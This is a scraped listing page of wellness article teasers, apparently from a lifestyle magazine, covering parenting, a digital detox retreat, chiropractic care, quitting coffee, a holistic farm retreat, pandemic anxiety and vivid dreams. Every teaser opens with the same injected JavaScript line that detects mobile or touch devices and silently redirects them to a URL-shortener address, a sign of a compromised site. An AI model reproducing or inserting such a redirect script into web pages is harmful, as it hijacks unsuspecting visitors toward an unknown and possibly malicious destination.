Wellness

Wellness

What I’ve Learned From My Children

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); As mothers we do our best to impart knowledge to our kids, but in fact they are our greatest teachers.

Continue Reading
August 10, 2023
0
0
Wellness

The Joy of Solitude

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); During a five day digital detox retreat at Chiva Som, HUa Hin, Stephanie explores of the benefits of quality time with yourself.

Continue Reading
May 22, 2023
0
0
Wellness

In Perfect Alignment

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); Tatler speaks to the country’s top chiropractors about the importance of spinal health in functional well-being.

Continue Reading
July 28, 2022
0
0
Wellness

Coffee, Tea, or Me?

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); Why I quit coffee

Continue Reading
April 26, 2022
0
0
Wellness

Escape to the Farm

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); Have you ever experienced psycho-emotional clearing or mandala meditation? We tried them in total luxury at The Farm at San Benito, along with so much more on a personalized holistic wellness retreat to realign mind, body and spirit. Here’s what it was like.

Continue Reading
September 17, 2021
0
0
Wellness

State of Mind

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); The generalised anxiety brought about by the pandemic has highlighted the importance of mental health and why it should be integrated into our overall wellness regimes

Continue Reading
May 14, 2021
0
0
Wellness

Wide Awake

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/IhEqUXIqD0r9"); Vivid dreams are on the rise due to the anxiety brought about by the Covid-19 pandemic. Jungian Psychologist, Rose Marie Yenko explains to us why we shouldn't brush them aside and what questions we might ask ourselves to make sense of it all.

Continue Reading
April 27, 2020
0
0